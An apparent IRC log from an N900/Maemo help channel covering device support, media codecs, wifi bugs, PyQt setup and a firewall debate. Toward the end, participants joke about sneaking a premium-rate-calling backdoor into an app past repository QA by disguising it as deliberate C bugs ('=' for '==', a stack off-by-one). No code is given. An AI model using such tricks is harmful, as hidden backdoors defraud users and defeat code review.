| 17:02.03 | MohammadAG | nvm, it's not here |
| 17:02.10 | MohammadAG | phone isn't turning on lol |
| 17:02.18 | MohammadAG | Orange solid light |
| 17:02.34 | smhar | is it possible -and relatively easy- to intercept call and sms in N900 to trigger some actions? |
| 17:02.52 | MohammadAG | sms yes, look at the i am here source |
| 17:03.56 | GAN900 | smhar, dbus |
| 17:04.53 | N900evil | DocScrutinizer51: well - ther were your i2cset commanda |
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| 17:07.18 | smhar | not owning N900 yet, so what is dbus? |
| 17:07.28 | moza | Good evening. |
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| 17:07.45 | GAN900 | smhar, Linux thing. |
| 17:07.53 | inz | IPC |
| 17:07.54 | GAN900 | smhar, for inter-process communication |
| 17:07.57 | N900evil | smhar: dbus is a process communication net |
| 17:08.02 | GAN900 | wikipedia is your friend |
| 17:08.15 | GAN900 | inz, expanded acronym on an N900 win. :P |
| 17:08.18 | smhar | GAN900, going through it already :-) |
| 17:08.22 | N900evil | think of it like 10base-t ethernet between processes. |
| 17:08.29 | moza | Are questions about hardware supporting maemo welcome? |
| 17:08.38 | N900evil | moza: sure |
| 17:08.53 | N900evil | moza: there are four lights! |
| 17:08.54 | N900evil | err |
| 17:09.02 | N900evil | four maemo devices |
| 17:09.12 | moza | I am considering buying a phone, and need a GPS anc compass in it. |
| 17:09.25 | N900evil | n770,n800,n810,n900 |
| 17:09.31 | moza | I think the N900 doesn't have a compass, and i don't know the other phones. |
| 17:09.44 | moza | Thanks for the numbers, it will be easier to compare :) |
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| 17:09.49 | N900evil | there is no phone with compass and maemo |
| 17:09.53 | moza | Any general comments on them? |
| 17:09.59 | moza | oh... ok then... |
| 17:10.00 | N900evil | the others are old. |
| 17:10.07 | N900evil | why compass? |
| 17:10.26 | moza | I am doing non-visual interaction, and i need to be able to use a pointing gesture |
| 17:10.35 | N900evil | k |
| 17:10.47 | moza | To get audio/vibration feedback when you point in a direction. |
| 17:10.50 | tybollt | compass is good because it means you can navigate w/ your maps program even when walking |
| 17:11.00 | tybollt | navigating w/out compass is a PITA |
| 17:11.08 | N900evil | I know. |
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| 17:11.18 | moza | ok, so i guess i'm left with android :/ |
| 17:11.19 | tybollt | Nokia doesn't |
| 17:11.22 | N900evil | I have pondered making a compass. |
| 17:11.29 | tybollt | moza: yup, android |
| 17:11.35 | moza | nothing that will get out soon with maemo and a compass? |
| 17:11.39 | tybollt | N900evil: a simple BT one would do it |
| 17:11.39 | moza | i can wait a little :) |
| 17:11.47 | N900evil | it is hard to make it internal without lots of incestment. |
| 17:11.55 | N900evil | the hole is too small. |
| 17:12.09 | N900evil | only 1mm thick for the microsd. |
| 17:12.10 | tybollt | N900evil: external - BT |
| 17:12.12 | tybollt | do it! |
| 17:12.28 | N900evil | if it was 2mm, would be 'easy' |
| 17:12.42 | moza | Thanks for the information anyway :) |
| 17:12.54 | N900evil | good lick. |
| 17:13.10 | N900evil | sorry - sun rflecting off display |
| 17:13.22 | N900evil | makes poofreading hard. |
| 17:15.09 | smhar | ok, GAN900, so using dbus, I can write a program in python that intercept an sms and triggers actions, am I right |
| 17:15.28 | lcuk | smhar, look at fmms - it is written in python and does just that |
| 17:15.47 | GAN900 | smhar, yes, dbus does global broadcast for a lot of stuff. |
| 17:16.09 | GAN900 | Er, well, processes do broadcasts through dbus for a lot of stuff. |
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| 17:16.30 | smhar | is there a thunderbird for N900, just like there is a firefox |
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| 17:17.55 | frals | lcuk: nah, fmms intercepts sms push, normal sms are handled differently afaik :) |
| 17:18.05 | lcuk | ahh k |
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| 17:19.09 | valdyn | smhar: yes and no |
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| 17:19.24 | smhar | valdyn, how? |
| 17:19.41 | valdyn | smhar: the desktop firefox runs on n900 and does desktop thunderbird |
| 17:19.53 | valdyn | smhar: but as far as i know theres no mobile version of thunderbird |
| 17:20.19 | smhar | I see |
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| 17:41.41 | omar | for the n900, is there a way to see sms notifications on the desktop? it seems that when i receive an sms when i'm away from the phone the only thing i see is that the upper left task manager is blurred |
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| 17:46.25 | lcuk | o_O http://twitter.com/MeeGoPortal/status/13611719121 |
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| 17:48.06 | Stskeeps | looks like vnc |
| 17:48.14 | Stskeeps | ok, theme |
| 17:50.31 | BCMM | omar: there is a widget, i think |
| 17:50.44 | BCMM | also, doesn't the LED flash? |
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| 17:58.04 | omar | BCMM the widget i saw just takes you to conversations and only shows the number of conversations you have and the total messages in each, it's pretty useless |
| 17:58.08 | omar | it might as well act as a shortcut |
| 17:58.35 | omar | and LED notification i'm not sure.. sometimes when you're just pulling the phone out of your pocket and unlocking it the only way i know i have something is through that small blurred icon |
| 17:59.18 | BCMM_ | omar: you mean the top left icon? |
| 17:59.30 | omar | yeah |
| 17:59.46 | BCMM_ | perhaps that is just your theme? in mine, it's pretty obvious |
| 18:00.03 | smhar | is it possible to assign different tones to different contact? |
| 18:00.21 | BCMM_ | i'm using the Matrix theme (which is mostly like the default by with blue things changed to green) |
| 18:00.28 | omar | i mean it's obvious it's blurred but that's the only place i can see i have an sms :) |
| 18:01.08 | MohammadAG | lcuk, GDesk is basically a launcher :) |
| 18:01.09 | BCMM_ | and the icon in the top left goes white instead of green and gets a flare |
| 18:01.21 | omar | ah i'm using marina theme |
| 18:01.59 | MohammadAG | misses his N97's form factor |
| 18:02.01 | omar | okay i'll look at more widgets... now what'st he command to monitor current network usage? i have personal data monitor but want something that shows me my down/upload speeds like conky |
| 18:02.27 | omar | i'm assuming there's a command to do this but i dunno what it is |
| 18:02.40 | BCMM_ | talking of usage monitors, anybody know of one which tracks how many minutes of phone call you've made? |
| 18:02.59 | BCMM_ | i know you can get it from the interface somehow, but a desktop version that reset automatically each month would be shiny |
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| 18:03.38 | omar | might have to learn how to program these things ourselves :P |
| 18:04.45 | BCMM_ | omar: there is an app to display missed calls and SMS in the status area |
| 18:04.54 | SpeedEvil | there is a clone of conky |
| 18:05.01 | omar | BCMM_ what's the name? |
| 18:05.19 | BCMM_ | omar: callnotify |
| 18:05.21 | BCMM_ | omar: haven't used it |
| 18:05.37 | BCMM_ | omar: was "Conversations Inbox Desktop Widget" the one you didn't like? |
| 18:05.40 | omar | i'll checkit out now |
| 18:05.43 | omar | yeah that one |
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| 18:06.04 | omar | i had that one on for awhile and it seemed rather useless |
| 18:06.40 | lcuk | MohammadAG, it might be but it looks cool |
| 18:07.01 | BCMM_ | and yeah, i definitely need to learn to program for Maemo when i have some free time |
| 18:07.06 | MohammadAG | lcuk, I find it ironic that he locked his N97 in landscape mode |
| 18:07.45 | BCMM_ | oh, anybody know of a map program for maemo that lets you add points on the map? |
| 18:07.59 | lcuk | MohammadAG, total maemo experience lolz |
| 18:07.59 | ruskie | hmm I have an odd issue... can't flash the MMC fiasco image |
| 18:08.09 | BCMM_ | (not the openstreetmap editor, i mean just places you want to find again) |
| 18:08.35 | ruskie | Raw data transfer EP found at EP2. Raw data transfer failed: Resource temporarily unavailable |
| 18:08.46 | BCMM_ | i guess i'm just going to have to look at the maep sourcecode when i have time |
| 18:09.55 | zlimvos | when i get unsupported media on n900 default media player for videos should i just look for codecs? |
| 18:10.36 | omar | intellisyncd is used by nokia messaging? |
| 18:10.46 | BCMM_ | zlimvos: i once had that message for a video it actually could play - resolved after closing a web page that was pegging the CPU with javascript |
| 18:10.56 | BCMM_ | ymmv, might have been a one-off bug |
| 18:11.05 | BCMM_ | zlimvos: you can try playing it in mplayer |
| 18:11.09 | zlimvos | ok good to know though thanx |
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| 18:11.24 | BCMM_ | (but mplayer doesn't use hardware accelleration, so will be jerky on most hi-res stuff) |
| 18:11.26 | zlimvos | mplayer? ill look for it |
| 18:11.32 | zlimvos | ahaa |
| 18:11.45 | BCMM_ | forgets taht not everybody is coming from a linux background |
| 18:12.07 | BCMM_ | mplayer plays nearly anything, but doesn't do hardware accell on the n900 so performance is not amazing |
| 18:12.44 | BCMM_ | i don't know about extra codecs for Media Player, but i doubt it somewhat since it basically plays what it has hardware support for |
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| 18:13.11 | ruskie | ahh seems like the pc usb port was a tad flaky |
| 18:13.57 | omar | ruskie, it works now? |
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| 18:17.26 | ruskie | omar, yeah |
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| 18:18.09 | zlimvos | i just added the extra codecs for the default player i didnt see before |
| 18:18.10 | ruskie | and now I have a PR1.1.1 wiped device... now need to start with the repartitioning again and go on from there |
| 18:18.27 | zlimvos | btw i am looking up for vlc in n900 if that works it should be perfect |
| 18:19.27 | ruskie | I'll stick to mplayer ;) |
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| 18:21.48 | ajf_ | gdb doesn't seem to work in my FREMANTLE_X86 scratchbox profile, it just says invalid pointer and then segfaults (gdb) also. My code is being compiled with the -g flag. Read the page on gdb in the wiki and read elsewhere SBOX_REDIRECT_IGNORE=/usr/bin/gdb would fix it, but it didn't |
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| 18:24.01 | ajf_ | when I run gdb in gdb is says libc is segfaulting |
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| 18:25.17 | omar | this is strange, just started getting this error wlan0: deauthenticating by local choice (reason=3) when my wlan worked flawlessly the past 3 days. i've changed absolutely nothing too and i'm connected to same network on this very computer |
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| 18:31.53 | andre__ | omar, maybe https://bugs.maemo.org/show_bug.cgi?id=6416 ? |
| 18:31.55 | povbot | Bug 6416: Wifi won't connect until rebooted... |
| 18:32.24 | andre__ | though there are a few similar issues still around |
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| 18:32.45 | omar | i rebooted already, will try again |
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| 18:42.36 | GAN900 | andre__, satisfactory? :P |
| 18:42.54 | andre__ | about your tmo comment? yeah, definitely |
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| 18:44.08 | GAN900 | andre__, excellent |
| 18:44.21 | andre__ | very helpful. |
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| 18:49.02 | GAN900 | andre__, now write a reply so we cam bump it up on the New Posts list and stimulate some discussion. |
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| 18:50.40 | andre__ | GAN900, I will reply, sure, but maybe not yet today (got to prepare some urgent gnome stuff) |
| 18:52.02 | FIQ | E: Handler silently failed |
| 18:52.09 | FIQ | what does that means |
| 18:52.38 | FIQ | running aptitude |
| 18:52.46 | FIQ | i tried to install fennec |
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| 18:54.06 | frals | hmm wonder if i could do pyqt dev on my win7 machine |
| 18:56.05 | lcuk | frals, sure you can |
| 18:56.20 | frals | as in get it setup without spending too much time on it |
| 18:56.52 | lcuk | winscp + favorite editor + putty to get a console |
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| 18:57.10 | frals | yeah but i meant as in run in on my machine |
| 18:57.19 | frals | :D |
| 18:57.38 | lcuk | my console for python is "rm [blah].pyc; py_compilefiles [blah].py; python [blah.pyc |
| 18:57.44 | lcuk | ahhh frals |
| 18:57.54 | MohammadAG | <FIQ> E: Handler silently failed |
| 18:58.13 | MohammadAG | it means you can't install via apt (thank Nokia for that) |
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| 18:59.13 | GAN900 | frals, you have a Windows 7 machine? |
| 18:59.19 | MohammadAG | (*cough* I hear this works to get rid of the apt error *cough* http://mohammadag.ucoz.com/apt_0.7.20.2maemo13-0m5_armel.deb) |
| 18:59.27 | GAN900 | frals, you know what that means, right? |
| 18:59.34 | frals | GAN900: yes, that i enjoy gaming ;) |
| 18:59.35 | MohammadAG | he's a traitor |
| 18:59.52 | lcuk | if you enjoyed gaming frals you would have windows xp :p |
| 19:00.01 | MohammadAG | lol |
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| 19:00.27 | frals | lcuk: had i suffered any noticeable perform loss with win7 probably |
| 19:00.29 | lcuk | i want an app for maemo |
| 19:00.34 | lcuk | running on my desktop |
| 19:00.37 | lcuk | to do sms conversations |
| 19:01.08 | lcuk | i had one for my o2 ice phone |
| 19:01.14 | MohammadAG | http://arstechnica.com/microsoft/news/2010/01/microsoft-legal-unfazed-by-ubuntu-windows-xp-gui-clone.ars |
| 19:01.25 | MohammadAG | convo reminded me of that ^ |
| 19:01.47 | frals | mmmm "These binary installers for Windows contain everything needed for PyQt development except for Python itself. " |
| 19:01.50 | frals | likes |
| 19:02.14 | GAN900 | frals, psh |
| 19:02.28 | GAN900 | frals, means we have to take your maemo.org account away. :P |
| 19:02.39 | frals | GAN900: ^_^ |
| 19:02.44 | GAN900 | frals, get the StarCraft II beta yet? ;) |
| 19:03.14 | frals | nah i gave away my key to someone who had time to play it :< |
| 19:03.29 | frals | curses fmms |
| 19:03.50 | frals | (no, not really, all time spent on fmms has payed off ;)) |
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| 19:05.19 | SpeedEvil | You are now a millionaire? |
| 19:06.01 | frals | bah! :P |
| 19:07.33 | GAN900 | Ha |
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| 19:17.47 | crashanddie | GAN900: have you tried SC2 on mac? |
| 19:18.17 | Shapeshifter | there's still no other term than X Terminal for the n900 right? after the exams I'll look into porting urxvt |
| 19:18.36 | GAN900 | crashanddie, yeah |
| 19:18.39 | GAN900 | crashanddie, works fine |
| 19:19.12 | crashanddie | GAN900: no surprise there, just good to see a good game getting native support on mac though |
| 19:19.13 | GAN900 | although a combination of sucky Blizzard code and sucky Apple graphics drivers makes it a touch slower than the Windows version. |
| 19:19.18 | GAN900 | Indeed |
| 19:19.26 | GAN900 | Steam and Source, too. |
| 19:19.33 | crashanddie | aye |
| 19:19.45 | crashanddie | especially good to see people moving away from directx |
| 19:19.49 | GAN900 | Mac gaming may be on the rebound after the Intel change rang its death knell. |
| 19:19.54 | GAN900 | Indeed |
| 19:20.34 | Shapeshifter | what intel change? what death knell? |
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| 19:21.31 | Tuukka | Hey, anyone running iTunes on linux? If yes, what version works best? Any special wine settings? |
| 19:21.51 | BCMM_ | Tuukka: apart from the offtopic, why do you want to? |
| 19:21.53 | Shapeshifter | Tuukka: itunes??? D: |
| 19:22.06 | ruskie | completly random join and question? |
| 19:22.10 | frals | nice, pyqt was as easy to install and get started with as i was hoping it be \o/ |
| 19:22.20 | SpeedEvil | http://appdb.winehq.org/objectManager.php?sClass=application&iId=1347 tukka |
| 19:22.39 | BCMM_ | the n900 accepts music like a normal mass storage device; you don't need itunes to put music on it |
| 19:22.45 | Tuukka | Well if there's better alternatives for syncing Ipods give me a shout |
| 19:22.50 | BCMM_ | (and AFAIK people only use itunes because it works with ipods) |
| 19:22.56 | BCMM_ | Tuukka: amarok |
| 19:23.00 | ruskie | there are alternatives to ipod stuff |
| 19:23.14 | Tuukka | not talking about maemo -.- Ubuntu |
| 19:23.21 | Shapeshifter | frals: I hope your python code will be cross platform? :> |
| 19:23.42 | BCMM_ | Tuukka: and why do you think it will interact nicely with an ipod in wine anyway? itunes installs a bunch of weird windows services and possibly drivers |
| 19:23.48 | frals | the teststuff im doing now better be lol :D |
| 19:23.53 | Shapeshifter | Tuukka: gtkpod, amarok, rythmbox... they all do ipod tranfers |
| 19:24.02 | crashanddie | Tuukka: make sure to use Alsa, itunes 7.2 worked fine, don't know about the new versions |
| 19:24.06 | BCMM_ | it's only really windows which requires you to use itunes |
| 19:24.26 | GAN900 | Shapeshifter, PPC to x86 |
| 19:24.41 | Tuukka | Allright, i'll try one of those you sugested, thanks |
| 19:25.01 | Shapeshifter | Tuukka: rhythmbox ships with ubuntu btw |
| 19:25.18 | Shapeshifter | GAN900: ah. hows that related to directx? |
| 19:25.22 | Tuukka | Shapeshifter, so ipods should work out of the box? |
| 19:25.31 | Tuukka | just plug it in? |
| 19:25.35 | GAN900 | Shapeshifter, it's not, really. |
| 19:25.38 | Shapeshifter | Tuukka: indeed! |
| 19:25.58 | Tuukka | Shapeshifter, in that case gotta try it right away |
| 19:26.04 | Shapeshifter | :) |
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| 19:29.09 | SimonLR | Tuukka: use VirtualBox. |
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| 19:31.18 | Tuukka | Thanks for all the suggestion, gotta test them all and see which one works best for me. |
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| 19:36.33 | GAN900 | frals, weird bug |
| 19:37.30 | BCMM_ | the n900's infrared thing can recieve as well as transmit, right? |
| 19:37.49 | frals | GAN900: ? |
| 19:37.58 | GAN900 | It messed up my APN settings when it crashed during receiving |
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| 19:38.14 | frals | o_O |
| 19:38.15 | GAN900 | wuth messed up MMS settings. |
| 19:38.36 | frals | could you file a bug and attach fmms.log? |
| 19:38.58 | frals | seems to be something fishy going on with my apn workaround stuff but not had time to investigate it yet |
| 19:39.16 | crashanddie | BCMM_: no, only send, not receive |
| 19:39.25 | BCMM_ | oh |
| 19:39.27 | BCMM_ | certain? |
| 19:39.31 | crashanddie | yeah |
| 19:39.35 | crashanddie | made the same mistake some time ago |
| 19:40.03 | BCMM_ | aww |
| 19:40.05 | crashanddie | ping Stskeeps & DocScrutinizer51: IR is only transmission, correct? |
| 19:40.19 | Stskeeps | afaik |
| 19:40.22 | Stskeeps | but i'm not sure |
| 19:40.25 | DocScrutinizer | crashanddie: yep |
| 19:40.25 | BCMM_ | got a TV remote with a couple of buttons that do nothing in less you get a DVD player from the same company |
| 19:40.33 | Tuukka | Btw, should i get a firewall or some antivirus for ubuntu. Or am i safe without using one? |
| 19:40.34 | BCMM_ | wanted to control media player with them |
| 19:40.55 | BCMM_ | perhaps i just need a longer AV cable so the n900 can be the remote |
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| 19:44.33 | BCMM_ | Tuukka: a software 'firewall' is basicaly to protect you from insecure programs that have open ports to the 'net |
| 19:44.51 | BCMM_ | Tuukka: on linux, the general solution is just to not install such things (on windows they come with the OS) |
| 19:45.01 | BCMM_ | Tuukka: but do you know what channel this is? |
| 19:45.24 | DocScrutinizer | crashanddie: it's a simple IR-LED switched on and off by a GPIO of SoC. It happens this particular GPIO can be set so it's controlled by a counter/devider to create certain frequencies without the CPU spinning loops like mad |
| 19:45.31 | BCMM_ | Tuukka: maemo is a somewhat specialised Linux distro that runs on phones - #ubuntu or ##linux will give you much more useful information |
| 19:46.05 | crashanddie | BCMM_: you're an idiot |
| 19:46.10 | SimonLR | wtf |
| 19:46.10 | Tuukka | BCMM, yeah i know it's for maemo, but maemo= linux => Lot's of people who are using linux and are eager to help = (Y) |
| 19:46.27 | BCMM_ | crashanddie: why? |
| 19:46.31 | SimonLR | I stand behind crashanddie's comment. |
| 19:46.48 | crashanddie | < BCMM_> Tuukka: on linux, the general solution is just to not install such things (on windows they come with the OS) |
| 19:46.53 | crashanddie | [citation needed] |
| 19:46.56 | BCMM_ | crashanddie: SMB |
| 19:47.10 | crashanddie | eh? |
| 19:47.29 | BCMM_ | crashanddie: basically, a typical linux distro doesn't have open ports out of the box |
| 19:47.39 | SimonLR | BCMM_: Hardly. |
| 19:47.40 | crashanddie | oh, it doesn't, doesn't it? |
| 19:47.40 | BCMM_ | iptables is very useful if you've installed server packages |
| 19:47.56 | SimonLR | BCMM_: go install Ubuntu and netstat -ln yourself. |
| 19:48.25 | BCMM_ | well, on a desktop one, ssh is probably not install and x will be started with -nolisten tcp |
| 19:48.27 | crashanddie | BCMM_: All generalising statements are evil, including this one |
| 19:48.49 | BCMM_ | crashanddie: fair enough |
| 19:48.49 | crashanddie | so please, use them with parsimony, especially when you're giving information |
| 19:49.11 | BCMM_ | fair enough, i forgot cupsd |
| 19:49.26 | SimonLR | BCMM_: There are still numerous daemons that run, unbound to the loopback. |
| 19:49.29 | BCMM_ | but every distro i've seen comes with cupsd set to ignore connections not from localhost, by default |
| 19:49.49 | crashanddie | BTW, Windows, since XP SP1 (or was it SP2?) comes with a software firewall, which is more than most linux distributions can boast. |
| 19:49.51 | BCMM_ | well, i just scanned my own machine and found ssh and cups |
| 19:50.18 | BCMM_ | crashanddie: most distros come with iptables |
| 19:50.18 | SimonLR | BCMM_: Saying that Windows "ships" with insecure 'applications' and Linux doesn't, is a stupid falsehood. |
| 19:50.28 | BCMM_ | and most distros come with no rules enabled, because they don't have open ports (from outside) by default |
| 19:50.43 | crashanddie | BCMM_: not setup, and iptables is notoriously difficult to setup for noob users |
| 19:50.48 | BCMM_ | sure, it was an excessively dumbed-down answer |
| 19:50.58 | SimonLR | No, it was a dumb answer. |
| 19:51.08 | crashanddie | anyway, let's move on |
| 19:51.13 | BCMM_ | crashanddie: yes, but it's not really necessary unless you're intentionally installing servers applications |
| 19:51.21 | BCMM_ | in which case you probably need to know what you're doing to start with |
| 19:51.45 | SimonLR | Do you guys like chicken on your salad? |
| 19:51.47 | BCMM_ | software firewalls on a desktop OS are a tacked-on security system |
| 19:51.50 | BCMM_ | i will shut up now |
| 19:52.01 | crashanddie | not really, the most important thing for desktop computers are outbound firewalls rather than inbound |
| 19:52.25 | lcuk | depends on the system |
| 19:52.29 | LinuxCode | indeed |
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| 19:52.43 | lcuk | some machines are directly on the net without a router |
| 19:52.43 | swc|666 | +1 |
| 19:52.44 | LinuxCode | Id concur with a well know proprietary system |
| 19:52.53 | frals | BAAAAAAAAAAAAAAAAAAAAAAAH, i hate bugs |
| 19:52.54 | lcuk | others have a nice solid hardware wall between them |
| 19:53.18 | crashanddie | lcuk: indeed, however it's becoming more of an exception than a rule. What was the name of the worm that restarted everyone's XP computer? Blaster? |
| 19:53.37 | lcuk | i think that was windows millenium |
| 19:53.49 | crashanddie | nha, it definitely was vanilla XP installs too |
| 19:54.07 | SimonLR | it was XP also. |
| 19:54.14 | SimonLR | It was an issue with DCOM RPC |
| 19:54.17 | crashanddie | aye |
| 19:54.29 | lcuk | yeah the open by default port |
| 19:54.36 | crashanddie | attacks such as these have definitely reduced in strength and scale due to ISPs offering routers to most customers by default |
| 19:54.45 | SimonLR | and RPC is still ridiculously vulnerable. |
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| 19:55.10 | SimonLR | Inbound attacks have reduced, as if from a user to a direct target. |
| 19:55.21 | SimonLR | Now it's through a different medium. |
| 19:55.46 | SimonLR | They are being targetted through the browser. |
| 19:55.59 | crashanddie | which is why outbound firewalls are more interesting (not that inbound firewalls ought to be disregarded, considering the number of open wifi networks we connect to) |
| 19:56.09 | SimonLR | Absolutely. |
| 19:56.24 | SimonLR | Outbound would block payload listeners. |
| 19:56.51 | crashanddie | I use little snitch on my mac, and the sheer number of connections going out for trivial applications is sometimes just frightening |
| 19:57.19 | LinuxCode | mac.... |
| 19:57.38 | crashanddie | it's also quite interesting to see that sometimes specific malwave is being served from non-default ports |
| 19:58.20 | SimonLR | uh |
| 19:58.27 | SimonLR | You expect malware to use a defined port? |
| 19:59.31 | crashanddie | well, I'm guessing 80 and 443 would be most open in firewall rules |
| 19:59.43 | crashanddie | serving from anything else lessens their corporate/government impact |
| 19:59.45 | DocScrutinizer | don't forget malware living on routers natively ;-P |
| 20:00.24 | SimonLR | DocScrutinizer: that's why I only use DD-WRT or Tomato. |
| 20:00.40 | SimonLR | or run a dumb switch and a dedicated box with pfSense |
| 20:00.50 | BCMM | iirc, malware running natively in a (fancy) network card has been demonstrated |
| 20:01.07 | crashanddie | BCMM: oh yeah, more than once |
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| 20:01.23 | BCMM | is it in the wild? |
| 20:01.42 | BCMM | or still just a curiousity? |
| 20:01.42 | crashanddie | BCMM: I remember an exploit where a lucent switch would serve specific html replies when a keyword was in the URL |
| 20:02.04 | crashanddie | well, I'm guessing if the firmware hasn't been patched, it still could |
| 20:02.15 | crashanddie | but never heard of a wide scale attack |
| 20:03.11 | SimonLR | There was a talk at CanSecWest |
| 20:03.11 | SimonLR | Only showed one specific card from a single manuf. |
| 20:03.29 | crashanddie | LinuxCode: no slamming, please |
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| 20:03.42 | LinuxCode | crashanddie, was I slamming ? |
| 20:03.53 | crashanddie | 21:57 < LinuxCode> mac.... |
| 20:03.54 | LinuxCode | mac is another proprietary system |
| 20:03.55 | crashanddie | :) |
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| 20:04.07 | crashanddie | so? |
| 20:04.15 | LinuxCode | see what I said earlier |
| 20:04.19 | johnsq | Hi |
| 20:04.19 | SimonLR | I wouldn't really call Mac a full blown proprietary system. |
| 20:04.40 | LinuxCode | SimonLR, Id like the kernel source then please |
| 20:04.46 | LinuxCode | ta |
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| 20:04.47 | SimonLR | I wouldn't use one if you paid me, but still. |
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| 20:05.09 | SimonLR | LinuxCode: Not having access to kernel source doesn't mean it's completely proprietary |
| 20:05.28 | SimonLR | I dislike Apple more than the average guy, but I can still be logical. |
| 20:05.29 | crashanddie | LinuxCode: can you PM me what you said? I wasn't in the room apparently |
| 20:05.34 | valdyn | LinuxCode: the kernel is unix, you can get that everywhere, just not the code for apples implementation |
| 20:05.52 | LinuxCode | valdyn, ok, so no source |
| 20:05.58 | LinuxCode | thanks for clarifying |
| 20:06.03 | LinuxCode | crashanddie, nevermind mate |
| 20:06.10 | LinuxCode | pretty pointless anyway |
| 20:06.12 | LinuxCode | ;-} |
| 20:06.28 | LinuxCode | needs to get back to work |
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| 20:26.49 | frals | im starting to understand why devs are annoyed by the 10d quarantine to promote to extras |
| 20:28.42 | Surfa | eager for the fmms promotion? |
| 20:30.03 | swc|666 | frals, are you the fmms dev? |
| 20:30.35 | Surfa | it may be annoying but it's kind of understandable as too quick promotion would in some cases lead to possibly serious problems in certain nw conditions |
| 20:30.59 | Surfa | local apps are of course different story |
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| 20:33.29 | DocScrutinizer | nw? |
| 20:34.19 | lcuk | frals - you think 10 days is bad |
| 20:35.00 | lcuk | extras aims to be for rock solid reliable apps |
| 20:35.23 | alterego | anyone played with gdigicam-camerabin.conf? |
| 20:35.45 | DocScrutinizer | never ever heard of |
| 20:36.12 | alterego | Wondering if the 'element' option can take parameters. |
| 20:39.46 | Surfa | DocScrutinizer, network |
| 20:41.02 | Surfa | nw condition dependent sw tends to break when switched to other environment :| |
| 20:42.11 | DocScrutinizer | Surfa: why do you think local apps are any less prone to severe problems. For PDA alike devices preserving user data is absolute priority #1 - local apps can mess up your data as well |
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| 20:43.11 | Surfa | DocScrutinizer, that wasn't the point.. point was that they work in more stable environment and thus they are more easy to test |
| 20:43.17 | DocScrutinizer | or imagine fmms going apeshit and sending 10 mms / sec |
| 20:43.30 | DocScrutinizer | that's correct |
| 20:43.32 | DocScrutinizer | :-) |
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| 20:44.41 | Surfa | to me 10days testing for networking sw is pretty damn short time :) |
| 20:45.11 | SpeedEvil | Or even frals going apeshit, and deciding to be evil. |
| 20:45.30 | SpeedEvil | However - unless someone is actually reading the source - a 10 day timer would do that |
| 20:45.31 | DocScrutinizer | what basically results in same |
| 20:45.59 | SpeedEvil | Unlike 4chan, we are his personal army. |
| 20:50.35 | DocScrutinizer | wonders how hard it would be to tweak a 'if leftstr(nr, 4) == "0900"" into a "(long)nr = (long)"0900"", by e.g manipulating a pointer/stackaddr |
| 20:55.51 | luke-jr | DocScrutinizer: you can't cast a char array into a long! |
| 20:55.58 | DocScrutinizer | though probably not even maemo QA would notice an oopsie like a "=" instead of a "==" |
| 20:56.01 | luke-jr | well, you *can*, but it has no valid use |
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| 20:56.36 | DocScrutinizer | luke-jr: yes, I guess I'm terribly wrong on that. I know my C foo is rather old and stained |
| 20:56.41 | jacekowski | luke-jr: you can |
| 20:56.57 | jacekowski | luke-jr: if you know what's going to happen |
| 20:56.58 | luke-jr | also, while '=' and '==' are similar in ASCII, they're completely different concepts low-level |
| 20:57.04 | luke-jr | jacekowski: which you don't. |
| 20:57.15 | jacekowski | well, i know what's going to happen |
| 20:57.20 | jacekowski | in most cases it's undesirable |
| 20:57.22 | jacekowski | but |
| 20:57.23 | DocScrutinizer | luke-jr: sure, that's the art |
| 20:57.24 | zokier | shouldn't you get the pointer to the array?: |
| 20:57.27 | luke-jr | you'll get a truncated pointer to an arbitrary constant location |
| 20:57.56 | luke-jr | and no guarantee it's truncated, either |
| 20:58.05 | jacekowski | afaik it won't be truncated |
| 20:58.17 | luke-jr | could be |
| 20:58.19 | zokier | trucation depends on the platform |
| 20:58.21 | luke-jr | can only assume will be |
| 20:58.22 | jacekowski | on most of platforms |
| 20:58.23 | C-S-B-N900 | im getting the bluetooth.btcommon.BluetoothError: (22, 'Invalid argument') error with wiicontrol. there seems to be a thread but no resolution |
| 20:58.34 | luke-jr | unless you assume it could be truncated, you're writing invalid C |
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| 20:58.50 | zokier | luke-jr, s/invalid/platform specific/ |
| 20:58.57 | luke-jr | C isn't platform specific |
| 20:59.07 | DocScrutinizer | that's no real issue - the purpose IS to write invalid C |
| 20:59.16 | luke-jr | platform independence is the *point* of programming languages |
| 20:59.29 | jacekowski | emm |
| 20:59.32 | jacekowski | that's bs |
| 20:59.43 | DocScrutinizer | C is arch dependent when it comes to side effects. |
| 21:00.11 | jacekowski | arch independent programming languages don't exist |
| 21:00.13 | luke-jr | DocScrutinizer: you mean undefined behaviour, which isn't valid |
| 21:00.19 | DocScrutinizer | obviously an exploit written for LE platforms won't work on BE |
| 21:01.29 | luke-jr | DocScrutinizer: it should if you do it right ;) |
| 21:01.41 | DocScrutinizer | luke-jr: I mean writing 'buggy' code which results in exactly the nasty behaviour I actually intended |
| 21:01.52 | C-S-B-N900 | anyone use wii control? |
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| 21:02.31 | DocScrutinizer | luke-jr: correct code should, yes. An EXPLOIT though is highly arch dependent |
| 21:02.57 | luke-jr | DocScrutinizer: if the exploit is written (even partially) in bytecode, then yes |
| 21:03.22 | luke-jr | if it's 100% correct C, it shouldn't care what the CPU is, at least |
| 21:03.30 | luke-jr | unless it's trying to exploit the CPU :P |
| 21:04.15 | DocScrutinizer | thinks about really simple things, like 'accidentally' storing address of a .bmp to a callback procedure |
| 21:04.41 | DocScrutinizer | easily done by stack-off-by-one |
| 21:04.55 | lcuk | luke-jr, the problem with cross platform c code is that you would require libraries and those are the place it fails |
| 21:05.06 | DocScrutinizer | heh |
| 21:05.10 | DocScrutinizer | exactly :-) |
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| 21:05.29 | luke-jr | lcuk: libraries will work on any architecture with a recompile, unless those libraries are buggy ;) |
| 21:05.43 | luke-jr | and C doesn't *require* libraries |
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| 21:05.50 | lcuk | so your exploit now needs to carry around recompiled libraries for every OS it targets |
| 21:06.13 | lcuk | making its footprint rather prohibative |
| 21:06.38 | luke-jr | ... |
| 21:06.49 | lcuk | luke-jr, try doing even something simple in pure c |
| 21:06.49 | DocScrutinizer | lcuk: here it's just frals who wants to get past the QA with his 0900-calling fmms :-P |
| 21:06.52 | lcuk | just read a file |
| 21:06.57 | lcuk | write a line to console |
| 21:07.03 | luke-jr | lcuk: writing to console needs no lib |
| 21:07.07 | DocScrutinizer | so it's just two target platforms |
| 21:07.15 | lcuk | luke-jr, go on.. |
| 21:07.18 | lcuk | this will be fun |
| 21:07.51 | johnsq | lcuk: no problem you can do the sys-call direct |
| 21:07.56 | luke-jr | #include <stdio.h> int main() { puts("hello world"); } |
| 21:08.05 | luke-jr | johnsq: syscalls aren't C |
